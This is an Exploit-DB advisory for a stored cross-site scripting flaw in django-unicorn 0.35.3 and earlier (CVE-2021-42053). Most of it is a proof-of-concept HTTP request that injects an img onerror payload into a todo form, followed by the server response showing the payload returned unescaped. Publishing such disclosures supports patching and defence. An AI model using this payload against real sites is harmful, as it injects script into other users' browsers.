django-unicorn 0.35.3 – Stored Cross-Site Scripting (XSS)

Exploit Database
116 阅读

作者： Raven Security Associates

日期： 2021-10-08
类别：
- webapps
平台：
- Python
来源：https://www.exploit-db.com/exploits/50393/

# Exploit Title: django-unicorn 0.35.3 - Stored Cross-Site Scripting (XSS)

# Date: 10/7/21

# Exploit Author: Raven Security Associates, Inc. (ravensecurity.net)

# Software Link: https://pypi.org/project/django-unicorn/

# Version: <= 0.35.3

# CVE: CVE-2021-42053

django-unicorn <= 0.35.3 suffers from a stored XSS vulnerability by improperly escaping data from AJAX requests.

Step 1: Go to www.django-unicorn.com/unicorn/message/todo

Step 2: Enter an xss payload in the todo form (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet).

POC:

POST /unicorn/message/todo HTTP/2

Host: www.django-unicorn.com

Cookie: csrftoken=EbjPLEv70y1yPrNMdeFg9pH8hNVBgkrepSzuMM9zi6yPviifZKqQ3uIPJ4hsFq3z

Content-Length: 258

Sec-Ch-Ua: "";Not A Brand"";v=""99"", ""Chromium"";v=""94""

Sec-Ch-Ua-Mobile: ?0

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36

Content-Type: text/plain;charset=UTF-8

Accept: application/json

X-Requested-With: XMLHttpRequest

X-Csrftoken: EbjPLEv70y1yPrNMdeFg9pH8hNVBgkrepSzuMM9zi6yPviifZKqQ3uIPJ4hsFq3z

Sec-Ch-Ua-Platform: ""Linux""

Origin: https://www.django-unicorn.com

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: https://www.django-unicorn.com/examples/todo

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

{""id"":""Q43GSmJh"",""data"":{""task"":"""",""tasks"":[]},""checksum"":""4ck2yTwX"",""actionQueue"":[{""type"":""syncInput"",""payload"":{""name"":""task"",""value"":""<img src=x onerror=alert(origin)>""}},{""type"":""callMethod"",""payload"":{""name"":""add""},""partial"":{}}],""epoch"":1633578678871}

-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

HTTP/2 200 OK

Date: Thu, 07 Oct 2021 03:51:18 GMT

Content-Type: application/json

X-Frame-Options: DENY

X-Content-Type-Options: nosniff

Referrer-Policy: same-origin

Via: 1.1 vegur

Cf-Cache-Status: DYNAMIC

Expect-Ct: max-age=604800, report-uri=""https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct""

Report-To: {""endpoints"":[{""url"":""https:\/\/a.nel.cloudflare.com\/report\/v3?s=b4nQavto8LK9ru7JfhbNimKP71ZlMtduJTy6peHCwxDVWBH2Mkn0f7O%2FpWFy1FgPTd6Z6FmfkYUw5Izn59zN6kTQmjNjddiPWhWCWZWwOFiJf45ESQxuxr44UeDv3w51h1Ri6ESnNE5Y""}],""group"":""cf-nel"",""max_age"":604800}

Nel: {""success_fraction"":0,""report_to"":""cf-nel"",""max_age"":604800}

Server: cloudflare

Cf-Ray: 69a42b973f6a6396-ORD

Alt-Svc: h3="":443""; ma=86400, h3-29="":443""; ma=86400, h3-28="":443""; ma=86400, h3-27="":443""; ma=86400

{""id"": ""Q43GSmJh"", ""data"": {""tasks"": [""<img src=x onerror=alert(origin)>""]}, ""errors"": {}, ""checksum"": ""ZQn54Ct4"", ""dom"": ""<div unicorn:id=\""Q43GSmJh\"" unicorn:name=\""todo\"" unicorn:key=\""\"" unicorn:checksum=\""ZQn54Ct4\"">\n<form unicorn:submit.prevent=\""add\"">\n<input type=\""text\"" unicorn:model.lazy=\""task\"" placeholder=\""New task\"" id=\""task\""/>\n</form>\n<button unicorn:click=\""add\"">Add</button>\n<p>\n<ul>\n<li><img src=x onerror=alert(origin)></li>\n</ul>\n<button unicorn:click=\""$reset\"">Clear all tasks</button>\n</p>\n</div>\n"", ""return"": {""method"": ""add"", ""params"": [], ""value"": null}}"

"ENDTEXT"